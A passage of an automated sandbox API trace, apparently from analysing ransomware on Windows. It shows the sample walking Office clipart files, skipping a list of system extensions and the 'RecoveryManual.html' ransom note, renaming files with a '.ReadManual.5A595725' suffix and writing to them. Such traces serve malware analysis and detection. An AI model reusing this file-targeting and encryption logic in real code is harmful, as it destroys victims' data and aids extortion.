ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f9ebd00, ftLastWriteTime.dwHighDateTime=0x1c0033f, nFileSizeHigh=0x0, nFileSizeLow=0xb9c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02278_.WMF", cAlternateFileName="")) returned 1 [0271.347] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02278_.WMF" | out: lpString1="PE02278_.WMF") returned="PE02278_.WMF" [0271.347] lstrcmpiW (lpString1="PE02278_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.347] StrStrIW (lpFirst="PE02278_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.347] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.347] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.347] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.347] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.347] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.347] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.347] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.347] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.347] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.347] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.347] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.347] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.348] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.348] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.348] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" [0271.348] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.ReadManual.5A595725" [0271.348] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.ReadManual.5A595725") returned 87 [0271.348] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39201642505) returned 1 [0271.348] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf")) returned 0x20 [0271.349] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.349] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=47556) returned 1 [0271.349] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb9c4, lpName=0x0) returned 0x184 [0271.349] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.350] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.350] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.352] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.352] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb9c4) returned 0x2f0000 [0271.353] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.354] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39202233563) returned 1 [0271.354] CloseHandle (hObject=0x184) returned 1 [0271.354] SetSecurityInfo () returned 0x57 [0271.354] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.354] CloseHandle (hObject=0x194) returned 1 [0271.354] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2108500, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2108500, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x6928, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02280_.WMF", cAlternateFileName="")) returned 1 [0271.354] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02280_.WMF" | out: lpString1="PE02280_.WMF") returned="PE02280_.WMF" [0271.354] lstrcmpiW (lpString1="PE02280_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.354] StrStrIW (lpFirst="PE02280_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.354] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.354] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.354] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" [0271.354] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.ReadManual.5A595725" [0271.354] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.ReadManual.5A595725") returned 87 [0271.354] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39202326010) returned 1 [0271.355] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf")) returned 0x20 [0271.355] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.355] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26920) returned 1 [0271.355] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6928, lpName=0x0) returned 0x184 [0271.355] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.356] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.356] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.358] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.358] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6928) returned 0x2f0000 [0271.358] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.358] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39202712033) returned 1 [0271.358] CloseHandle (hObject=0x184) returned 1 [0271.358] SetSecurityInfo () returned 0x57 [0271.359] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.359] CloseHandle (hObject=0x194) returned 1 [0271.359] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32fdb00, ftCreationTime.dwHighDateTime=0x1bf3250, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32fdb00, ftLastWriteTime.dwHighDateTime=0x1bf3250, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02282_.WMF", cAlternateFileName="")) returned 1 [0271.359] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02282_.WMF" | out: lpString1="PE02282_.WMF") returned="PE02282_.WMF" [0271.359] lstrcmpiW (lpString1="PE02282_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.359] StrStrIW (lpFirst="PE02282_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.359] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.359] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.359] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" [0271.359] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.ReadManual.5A595725" [0271.359] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.ReadManual.5A595725") returned 87 [0271.359] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39202802657) returned 1 [0271.359] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf")) returned 0x20 [0271.360] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.360] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29696) returned 1 [0271.360] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7400, lpName=0x0) returned 0x184 [0271.360] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.361] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.361] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.363] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.363] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7400) returned 0x2f0000 [0271.363] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.363] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39203213907) returned 1 [0271.363] CloseHandle (hObject=0x184) returned 1 [0271.363] SetSecurityInfo () returned 0x57 [0271.364] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.364] CloseHandle (hObject=0x194) returned 1 [0271.364] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb65800, ftCreationTime.dwHighDateTime=0x1bf3488, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffb65800, ftLastWriteTime.dwHighDateTime=0x1bf3488, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02285_.WMF", cAlternateFileName="")) returned 1 [0271.364] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02285_.WMF" | out: lpString1="PE02285_.WMF") returned="PE02285_.WMF" [0271.364] lstrcmpiW (lpString1="PE02285_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.364] StrStrIW (lpFirst="PE02285_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.364] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.364] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.364] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" [0271.364] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.ReadManual.5A595725" [0271.364] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.ReadManual.5A595725") returned 87 [0271.364] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39203304427) returned 1 [0271.364] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf")) returned 0x20 [0271.364] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.365] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16528) returned 1 [0271.365] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4090, lpName=0x0) returned 0x184 [0271.365] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.366] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.366] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.370] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.370] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4090) returned 0x2f0000 [0271.370] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.370] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39203898587) returned 1 [0271.370] CloseHandle (hObject=0x184) returned 1 [0271.370] SetSecurityInfo () returned 0x57 [0271.370] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.370] CloseHandle (hObject=0x194) returned 1 [0271.371] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bf9300, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bf9300, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02287_.WMF", cAlternateFileName="")) returned 1 [0271.371] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02287_.WMF" | out: lpString1="PE02287_.WMF") returned="PE02287_.WMF" [0271.371] lstrcmpiW (lpString1="PE02287_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.371] StrStrIW (lpFirst="PE02287_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.371] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.371] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.371] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" [0271.371] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.ReadManual.5A595725" [0271.371] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.ReadManual.5A595725") returned 87 [0271.371] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39203988562) returned 1 [0271.371] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf")) returned 0x20 [0271.372] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0271.372] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17796) returned 1 [0271.372] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4584, lpName=0x0) returned 0x184 [0271.372] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0271.373] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0271.373] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0271.375] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0271.375] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4584) returned 0x2f0000 [0271.375] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0271.375] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39204392133) returned 1 [0271.375] CloseHandle (hObject=0x184) returned 1 [0271.375] SetSecurityInfo () returned 0x57 [0271.375] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0271.375] CloseHandle (hObject=0x194) returned 1 [0271.375] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x76e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE02288_.WMF", cAlternateFileName="")) returned 1 [0271.375] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PE02288_.WMF" | out: lpString1="PE02288_.WMF") returned="PE02288_.WMF" [0271.376] lstrcmpiW (lpString1="PE02288_.WMF", lpString2="RecoveryManual.html") returned -1 [0271.376] StrStrIW (lpFirst="PE02288_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0271.376] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0271.376] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0271.376] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program 